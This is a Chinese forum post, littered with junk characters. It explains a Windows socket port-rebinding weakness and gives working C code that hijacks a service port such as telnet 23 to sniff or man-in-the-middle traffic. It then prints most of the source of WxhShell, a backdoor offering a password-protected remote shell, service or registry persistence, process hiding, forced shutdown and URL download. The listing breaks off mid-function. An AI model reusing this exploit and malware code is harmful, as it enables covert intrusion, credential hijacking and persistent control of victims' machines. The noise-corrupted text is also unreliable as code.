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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l+y;>21sTu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cg]Gt1SU  
rZB='(?  
  saddr.sin_family = AF_INET; }zkFl{/u  
`mD!z.`U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :F[s  
'/loJz 1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 862rol  
]i,o+xBKH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @C=gMn.E  
&k_LK  
  这意味着什么?意味着可以进行如下的攻击: 6Xo"?f  
x{ `{j'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3]}RjOTU  
M?('VOy)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .C+(E@eyA  
P =Q+VIP&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RiQg]3oY  
/|&4&$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >tMI%r  
<9xr? i=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {!? M!/d  
dSTyx#o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~9k E.  
^  ~1QA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s%vy^x29  
ui`EODhA(  
  #include "D4% A!i  
  #include  o4yl3o  
  #include x7gd6"10^  
  #include    EAWBgOO8iC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %}~(%@qB>+  
  int main() |9FrVO$M  
  { ?A.ah  
  WORD wVersionRequested; %c]N-  
  DWORD ret; Dz2Z (EXI~  
  WSADATA wsaData; }Cfl|t<5f  
  BOOL val; |-*50j l  
  SOCKADDR_IN saddr; S{MB$JA  
  SOCKADDR_IN scaddr; U %BtBPL  
  int err; E|RC|Sz=u  
  SOCKET s; ?0sTx6x@  
  SOCKET sc; GCr]x '  
  int caddsize; ld|GY>rH  
  HANDLE mt; 6,~ 1^g*  
  DWORD tid;   e_!Z-#\J%  
  wVersionRequested = MAKEWORD( 2, 2 ); :p)^+AF"5  
  err = WSAStartup( wVersionRequested, &wsaData ); M5:*aCN6P  
  if ( err != 0 ) { Q;q{1M>  
  printf("error!WSAStartup failed!\n"); T?Z^2.Pvc  
  return -1; hG<[F@d  
  } -nUK%a"(D  
  saddr.sin_family = AF_INET; k}}'f A  
   CsT&}-C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8sI$  
D ZZRu8~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #^aa&*<D_  
  saddr.sin_port = htons(23); sc# EL~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G*%U0OTi  
  { H)&iFq  
  printf("error!socket failed!\n"); hz<TjWXv'  
  return -1; ;P8% yf  
  } `YZl2c<w*  
  val = TRUE; *$;Zk!sEF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %2\Pe 2Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {(Mmv[y  
  { `Z{s,!z  
  printf("error!setsockopt failed!\n"); z_KCG2=5  
  return -1; -h ^MX  
  } \4<|QE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =;I+: K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #bG6+"g{=L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {0/2Hw n  
%{^|Av1Uz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [,ulz4"  
  { ;+o6"ky5  
  ret=GetLastError(); /<+`4n  
  printf("error!bind failed!\n"); cAVdH{$"  
  return -1; lMg#zT!?  
  } $II ~tO  
  listen(s,2); )~nieQEZQ  
  while(1) =^{MyR7  
  { DNqC*IvuzM  
  caddsize = sizeof(scaddr); Fe: ~M?]  
  //接受连接请求 F)imeu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (@^ySiU  
  if(sc!=INVALID_SOCKET) H;tE=  
  { (w(k*b/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AkO);4A;Jd  
  if(mt==NULL) :Zob"*T  
  {  [Ne'2z  
  printf("Thread Creat Failed!\n"); ]Z=al`-  
  break; v7#|%  
  } [[N${C  
  } %" l;  
  CloseHandle(mt); o#z$LT1dY  
  } lt2MB#  
  closesocket(s); xA-?pLt "G  
  WSACleanup(); i!RYrae  
  return 0; }ksp(.}G  
  }   CS-jDok  
  DWORD WINAPI ClientThread(LPVOID lpParam) SlT>S1`rnG  
  { cQBc6eAi  
  SOCKET ss = (SOCKET)lpParam; #QSSpsF@  
  SOCKET sc; C#)T$wl[E  
  unsigned char buf[4096]; yn<J>e  
  SOCKADDR_IN saddr; j]R[;8g  
  long num; T VSCjI  
  DWORD val; BYa#<jXtAT  
  DWORD ret; a +~b3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $o$WFV+h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /<k 5"C% z  
  saddr.sin_family = AF_INET; %Kp^wf#o9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VUHf-bKl  
  saddr.sin_port = htons(23); E GZiWBr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1:@ScHS  
  { ke<5]&x  
  printf("error!socket failed!\n"); Lh.-*H  
  return -1; 15' fU!  
  } 9!Xp+<  
  val = 100; F :Ps>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !su773vo  
  { V3a6QcG  
  ret = GetLastError(); #mK?:O\-1  
  return -1; Gui[/iY,F  
  } uf (_<~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hJk:&!M=T  
  { %4YSuZg  
  ret = GetLastError(); Vw`Q:qo0:b  
  return -1; Pv\8 \,B9  
  } %,ScGQE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u3wd~.  
  { bH'2iG  
  printf("error!socket connect failed!\n"); SK 5]7C2  
  closesocket(sc); v?Cakwu  
  closesocket(ss); b+hN\/*]  
  return -1; +|5 O b  
  } .4$F~!aj9  
  while(1) e5 zi"~  
  { )vVf- zU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WQD:~*C:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1cRF0MI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HNj;_S  
  num = recv(ss,buf,4096,0); h9iQn<lp4.  
  if(num>0) 5tZ0zr  
  send(sc,buf,num,0); ,\#s_N 7  
  else if(num==0) cN&:V2,  
  break; U^U hZ!  
  num = recv(sc,buf,4096,0); -:J<JX)o  
  if(num>0) 72*j6#zS  
  send(ss,buf,num,0); `R.Pz _oe  
  else if(num==0) T,vh=UF%]  
  break; UTN[! 0[  
  } .P?n<n#  
  closesocket(ss); g)|vS>^~  
  closesocket(sc); k"/Rjd(;  
  return 0 ; " *W# z  
  } [fo#){3K  
3MKu!  
*n[B Bz  
========================================================== 7^LCP*  
<X1 lq9 lW  
下边附上一个代码,,WXhSHELL _p'@.P  
-"H0Qafm  
========================================================== w1VYU>  
"5sA&^_#_  
#include "stdafx.h" +*Uv+oC|  
KU+\fwYpnk  
#include <stdio.h> ;)P=WS:=  
#include <string.h> TqfL Sm|  
#include <windows.h> Ck"db30.  
#include <winsock2.h> u&UmI-}  
#include <winsvc.h> R osU~OK  
#include <urlmon.h> O/d]2<V  
suGd&eP|  
#pragma comment (lib, "Ws2_32.lib") T0)bnjm  
#pragma comment (lib, "urlmon.lib") hdSP#Y'-  
qfxEo76'  
#define MAX_USER   100 // 最大客户端连接数 L%QRWhB  
#define BUF_SOCK   200 // sock buffer &?Q^i">cZ  
#define KEY_BUFF   255 // 输入 buffer `ah|BV  
"zCT S  
#define REBOOT     0   // 重启 tLq]#9kL  
#define SHUTDOWN   1   // 关机 U[8F{LX  
^&8hhxCPu|  
#define DEF_PORT   5000 // 监听端口 {~s\a2YH  
vH1,As  
#define REG_LEN     16   // 注册表键长度 i1m>|[@k  
#define SVC_LEN     80   // NT服务名长度 "bWx<  
lQvgq  
// 从dll定义API T:H~Y+qnt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `YE= B{q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S7#dyAX8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j|N<6GSke  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a l6y=;\jZ  
[C<K~  
// wxhshell配置信息 ~UNha/nt  
struct WSCFG { l(}L-:@A  
  int ws_port;         // 监听端口 _2{_W9k  
  char ws_passstr[REG_LEN]; // 口令 $|3zsi2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 84WcaH  
  char ws_regname[REG_LEN]; // 注册表键名 6-)WXJ@V  
  char ws_svcname[REG_LEN]; // 服务名 T JZ~Rpq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rXE0jTf:a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <p/2hHfiD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Md~._@`|K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b09xf"D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [{)Z^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /`DKX }  
37Q8Yf_  
}; 2/uZ2N |S  
K9p<PLy+  
// default Wxhshell configuration -zqpjxU:  
struct WSCFG wscfg={DEF_PORT, +'MO$&6  
    "xuhuanlingzhe", Tcc83_Iq  
    1, BnGoB`n  
    "Wxhshell", ]vn*eqd  
    "Wxhshell", SE6( 3f$  
            "WxhShell Service", 1TR+p? "  
    "Wrsky Windows CmdShell Service", /~f[>#  
    "Please Input Your Password: ", lBs-u h  
  1, ABkDOG2br  
  "http://www.wrsky.com/wxhshell.exe", x|dP-E41\  
  "Wxhshell.exe" Ldv,(ZV,<  
    }; o$+R  
-1v9  
// 消息定义模块 &ni#(   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6DK).|@$r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UntFkoO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Q_GJ  
char *msg_ws_ext="\n\rExit."; C<I?4WM  
char *msg_ws_end="\n\rQuit."; Qzo -Yw`=  
char *msg_ws_boot="\n\rReboot..."; H.' 9]*  
char *msg_ws_poff="\n\rShutdown..."; I}0 ?d  
char *msg_ws_down="\n\rSave to "; ?E|=eO"I1  
_5~|z$GW  
char *msg_ws_err="\n\rErr!"; ZeU){CB  
char *msg_ws_ok="\n\rOK!"; 5p S$rf  
T#E$sZ  
char ExeFile[MAX_PATH]; YGLq ~A  
int nUser = 0; v~T)g"_|  
HANDLE handles[MAX_USER]; i$@xb_  
int OsIsNt; D6&P9e_5  
]BjY UTNm  
SERVICE_STATUS       serviceStatus; E QU@';~8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fDplYn#  
*ls6k`ymL  
// 函数声明 x>TIx[ x  
int Install(void); }5(_gYr  
int Uninstall(void); Cb?  !+U  
int DownloadFile(char *sURL, SOCKET wsh); h9<PP2.(  
int Boot(int flag); R%\3[  
void HideProc(void); -Fn/=  
int GetOsVer(void); '/9j"mIA9$  
int Wxhshell(SOCKET wsl); 'PY;  
void TalkWithClient(void *cs); ?QJx!'Y,p  
int CmdShell(SOCKET sock); e7{6<[k3+$  
int StartFromService(void); 3C%|src  
int StartWxhshell(LPSTR lpCmdLine); b|DU  
qK#"uU8B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zF[Xem  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) xa )$u  
$hcv}<$/  
// 数据结构和表定义 @<pd@Mpf]  
SERVICE_TABLE_ENTRY DispatchTable[] = R8u8jG(4  
{ p}1gac_c  
{wscfg.ws_svcname, NTServiceMain},  ] ?D$n  
{NULL, NULL} 7qOkv1.}0  
}; _B erHoQd  
V*Fy@  
// 自我安装 5YNAb/! !F  
int Install(void) 0|tyKP|J  
{ QK0]9   
  char svExeFile[MAX_PATH]; R=E4Sh  
  HKEY key; _BJ:GDz>  
  strcpy(svExeFile,ExeFile); $p0D9mF  
#t(/wa4  
// 如果是win9x系统,修改注册表设为自启动 { >[ ]iX  
if(!OsIsNt) { V61oK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .[]S!@+%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lqL5V"2Y  
  RegCloseKey(key);  ArAe=m!u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JvW7h(u7g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~( XaXu  
  RegCloseKey(key);  ov,  
  return 0; V'W*'wo   
    } ro<w8V9.a  
  } .`+~mQ Wn  
} Sq_.RU  
else { TsoxS/MI"  
{Hl(t$3V`  
// 如果是NT以上系统,安装为系统服务 U= f9b]Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =CD6x= l6  
if (schSCManager!=0) /]Y#*r8jRi  
{ v@[3R7|4  
  SC_HANDLE schService = CreateService \9V_[xD+  
  ( _[-MyUs  
  schSCManager, ),B/NZ/-  
  wscfg.ws_svcname, hOZTD0  
  wscfg.ws_svcdisp, Ezew@*(  
  SERVICE_ALL_ACCESS, f:~G)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /N*<Fq7w~  
  SERVICE_AUTO_START, Nh^I{%.x  
  SERVICE_ERROR_NORMAL, !9$}1_,is  
  svExeFile, )z74,n7-  
  NULL, 4vG-d)"M2  
  NULL, O4oN)  
  NULL, 'R+^+urq^  
  NULL, VpHwc!APq  
  NULL DGCvH)Q  
  ); ((`{-y\K  
  if (schService!=0) e#h&Xa  
  { P (7el  
  CloseServiceHandle(schService); Qfy_@w]  
  CloseServiceHandle(schSCManager); z,m3U(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _oBx:G6E  
  strcat(svExeFile,wscfg.ws_svcname); Y96<c" t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5ILKYUg,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3-:^mRPJ  
  RegCloseKey(key); t/O^7)%  
  return 0; y4p"LD5%^  
    } 44P [P{y  
  } Ce<z[?u  
  CloseServiceHandle(schSCManager); oowofi(E  
} {%>~ ]9E  
} = E_i  
Y]`=cR`/"  
return 1; URm<Ji  
} ,.*D f)+  
yY UAH-  
// 自我卸载 w)vpo/?  
int Uninstall(void) v mkiw1  
{ )#\3c,<Y  
  HKEY key; Z.@n7G  
Hi K+}?I  
if(!OsIsNt) { 2oahQ: }B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =GP L>a&  
  RegDeleteValue(key,wscfg.ws_regname); wAi7jCY%OY  
  RegCloseKey(key); (&Q!5{$W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y,&[OrCm^\  
  RegDeleteValue(key,wscfg.ws_regname); 420K6[  
  RegCloseKey(key); vD9.X}l]  
  return 0; 'J &R=MD  
  } fI0"#i v}  
} |?0MRX0'g  
} p.(+L^-=  
else { 0H +nVR  
ojBdUG\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i.On{nB"k  
if (schSCManager!=0) RXAE jzf   
{ Z*q&^/N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  bV(BwWm  
  if (schService!=0) W%^!<bFk}m  
  { RY)x"\D  
  if(DeleteService(schService)!=0) { ,|\\C6s  
  CloseServiceHandle(schService); `g1?Q4h  
  CloseServiceHandle(schSCManager); yc7b%T*Y  
  return 0; BWYv.&=(  
  } KV;q}EyG  
  CloseServiceHandle(schService); =eW4?9Uq  
  } Px?"5g#+  
  CloseServiceHandle(schSCManager); &I'J4gk[  
} -t<1A8%  
} 8o,0='U  
rBL2A  
return 1; CL5^>. }  
} &DYC3*)Jih  
o(54 A['  
// 从指定url下载文件 @Q ~; @M  
int DownloadFile(char *sURL, SOCKET wsh) %|JL=E}%|  
{ J#@+1 Nt  
  HRESULT hr; u"hr4+/  
char seps[]= "/"; a|t{1]^w`  
char *token; OC,yLQ  
char *file; o\it]B  
char myURL[MAX_PATH]; 45%D^~2~F  
char myFILE[MAX_PATH]; /\Xe '&  
mhU=^/X  
strcpy(myURL,sURL); _f>)G3p  
  token=strtok(myURL,seps); UjJ&P)  
  while(token!=NULL) 751Q i  
  { Moi RAO  
    file=token; /u]#dX5  
  token=strtok(NULL,seps); L5d YTLY  
  } &l-d_dh  
G^L9[c= ,  
GetCurrentDirectory(MAX_PATH,myFILE); #] Do_Z  
strcat(myFILE, "\\"); I}y6ke!  
strcat(myFILE, file); 9w&CHg7D i  
  send(wsh,myFILE,strlen(myFILE),0); {uZ|Oog(p  
send(wsh,"...",3,0); Jz&dC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dn42'(p@G  
  if(hr==S_OK) ^ -~=U^2tC  
return 0; <H<Aba9\  
else U~7{q >  
return 1; X>yE<ni  
Mjl,/-0 w  
} zC[LcC*+J  
P$ b5o  
// 系统电源模块 1UrkDz?X  
int Boot(int flag) BjjuZN&  
{ oz3!%'  
  HANDLE hToken; kwS[,Qy\  
  TOKEN_PRIVILEGES tkp; XWz~*@ci  
F$:mGyl5_  
  if(OsIsNt) { e cvZwL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -biw{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <0l:B ;3  
    tkp.PrivilegeCount = 1; Vj)"?|V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3_eg'EP.E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0U.Ld:  
if(flag==REBOOT) { !+ UXu]kA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !([v=O#  
  return 0; Ia^/^>  
} "4*QA0As  
else { [a^<2V!vMn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .Z17X_  
  return 0; VWCC(YRU|$  
} mII8jyg*c  
  } X0$?$ ta  
  else { <`A!9+  
if(flag==REBOOT) { %uP/v\l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `\BBdQ#bH  
  return 0; D2:ShyYAS  
} &Fmen;(  
else { lrMkp@ f.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !) d  
  return 0; 1_n5:  
} ,zBc-Cm  
} ZU9RvtbKB  
Y$3liDeL=  
return 1; itO1ROmu  
} :3}K$  
Q6[h;lzGV  
// win9x进程隐藏模块 :f RGXrn  
void HideProc(void) g-+/zEOUS  
{ %NL7XU[~  
vZSwX@0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &v r0{]V^  
  if ( hKernel != NULL ) 6<n+p'+n  
  { /-3)^R2H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F2=#\U$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sa6YqOel@  
    FreeLibrary(hKernel); @Z~0!VY  
  } CT{ X$N  
".fnx8v,  
return; p*Hf<)}  
} 8O^z{Yh7  
a'\fS7aE0l  
// 获取操作系统版本 OgyHX>}bH  
int GetOsVer(void) Fw"x4w  
{ A^ry|4`3(  
  OSVERSIONINFO winfo; n yd'79~>G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xx%*85<  
  GetVersionEx(&winfo); YccD ^w[`B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EPeV1$  
  return 1; k%cT38V*  
  else RYX=;n  
  return 0; &R}2/Mt  
} 7:S)J~s*O  
4*+)D8  
// 客户端句柄模块 9uY$@7qH  
int Wxhshell(SOCKET wsl) r6`KZ TU  
{ " 1$hfs  
  SOCKET wsh; )G9,5[  
  struct sockaddr_in client; S 5nri(m  
  DWORD myID; *s"{JrG`O  
G]fx3=  
  while(nUser<MAX_USER) ).>O6A4:C  
{ N7qSbiRf<  
  int nSize=sizeof(client); <UO'&?G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >c8EgSZJ  
  if(wsh==INVALID_SOCKET) return 1; J$i5A9IUr  
r;&rc:?A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nrI-F,1  
if(handles[nUser]==0) Y- c_ 2 )  
  closesocket(wsh); |=4imM7  
else @{UtS2L  
  nUser++; *.NVc  
  } D7b] ;Nf\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ea[K$NC)#  
VSa#X |z  
  return 0; pWXoJ0N  
} o%=OBTh_   
=P<7tsSuoK  
// 关闭 socket N;]"_"  
void CloseIt(SOCKET wsh) Q>emyij  
{ a-7T   
closesocket(wsh); p_2-(n@  
nUser--; c2<JS:!*  
ExitThread(0); ue{0X\[P<  
} 8!{F6DG  
re\&'%~K  
// 客户端请求句柄 Kr'5iFK7  
void TalkWithClient(void *cs) p+ bT{:  
{ %) 8 UyZG  
c)OQ_3xOs  
  SOCKET wsh=(SOCKET)cs; WrNm:N  
  char pwd[SVC_LEN]; c:MP^PWc  
  char cmd[KEY_BUFF]; 7R`:^}'>  
char chr[1]; U6@ j=|q  
int i,j; =tE7XC3X_  
VCZ.{MD  
  while (nUser < MAX_USER) { 7Z+4F=2ff  
{\+!@?  
if(wscfg.ws_passstr) { [vs5e3B)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ LT KX`p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0]3#3TH  
  //ZeroMemory(pwd,KEY_BUFF); R4Vi*H  
      i=0; 4<`'?  
  while(i<SVC_LEN) { 9,`eYAu  
`w J^   
  // 设置超时 %4~2  
  fd_set FdRead; n2$(MDdL`  
  struct timeval TimeOut; 3;6Criq}  
  FD_ZERO(&FdRead); s<t*g]0`/  
  FD_SET(wsh,&FdRead); 3"Y |RSy  
  TimeOut.tv_sec=8; A[@xTq s{{  
  TimeOut.tv_usec=0; El$yM.M"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w{1DwCLKq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P<@V  
{ ke}W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y JJNr]oq  
  pwd=chr[0]; ~al4`:rRx1  
  if(chr[0]==0xd || chr[0]==0xa) { 2/K38t'-  
  pwd=0; Rs0O4.yi;@  
  break; INFbj8T  
  } [h>RO55e  
  i++; a.r+>44M  
    } cZ{-h  
/K{` gc  
  // 如果是非法用户,关闭 socket $s*\yam?|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0T{Z'3^=  
} D)ZGTq`(  
]D@_cxud3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jW^@lH EU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $y\\ ?  
cg-\|H1  
while(1) { Z9MT, "  
bcp+7b(IB  
  ZeroMemory(cmd,KEY_BUFF); ^Gc#D:zU  
FaOfe]F  
      // 自动支持客户端 telnet标准   y my/`%  
  j=0; 9%i|_c}  
  while(j<KEY_BUFF) { &jh'B ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5m _$21  
  cmd[j]=chr[0]; <g SZt\  
  if(chr[0]==0xa || chr[0]==0xd) { |#p`mc%f~\  
  cmd[j]=0; =BN_Kvza^6  
  break; o& g0 1t  
  } :`~;~gW<  
  j++; 2E Ufd\   
    } 95 7Cr  
+9MoKn=h  
  // 下载文件 FwB }@)3  
  if(strstr(cmd,"http://")) { HAof,* h$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tnv @`xBn  
  if(DownloadFile(cmd,wsh)) yHY \4OHS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); owz6j:  
  else >h?!6L- d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); noali96J  
  } yMdE[/+3  
  else { llbf(!  
2$)xpET  
    switch(cmd[0]) { ^EK]z8;|  
  {$,t^hd  
  // 帮助 ^Jv$Wx  
  case '?': { @WmEcX|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Zs y&K  
    break; k,p:!S(bl  
  } ~]CQ DR:  
  // 安装 `Bw>0%.  
  case 'i': { Ev adY  
    if(Install()) 7+!4pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0X.(BRI~6p  
    else (!^i6z0Sp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - '<K_e;  
    break; v}vwk8  
    } fl8~*\;Xu  
  // 卸载 5G >{*K/  
  case 'r': { P!c.!8C$  
    if(Uninstall()) Oz3JMZe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WOw( -  
    else fVb~j;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4^3}+cJ7j  
    break; z|p C*1A\  
    } `%%/`Qpj;  
  // 显示 wxhshell 所在路径 eflmD$]SW  
  case 'p': { ! MTmG/^  
    char svExeFile[MAX_PATH]; i?{cB!7  
    strcpy(svExeFile,"\n\r"); XLu Y  
      strcat(svExeFile,ExeFile); 25 NTtj:X  
        send(wsh,svExeFile,strlen(svExeFile),0); =tkO^  
    break; M<nKk#!+h  
    } O,a1?_m8  
  // 重启 fJiY~mQ  
  case 'b': { ?@*hU2MTC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0bl?dOV{  
    if(Boot(REBOOT)) 50< QF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +4*3aWf`  
    else { (_9u<  
    closesocket(wsh); xF/u('A  
    ExitThread(0); G\X}gqe(OJ  
    } *VuiEBG  
    break; ?RP&XrD  
    } '<Fr}Cn  
  // 关机 nM<B{AR5^  
  case 'd': { S)?V;@p6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lrrc&;  
    if(Boot(SHUTDOWN)) 43'!<[?x  
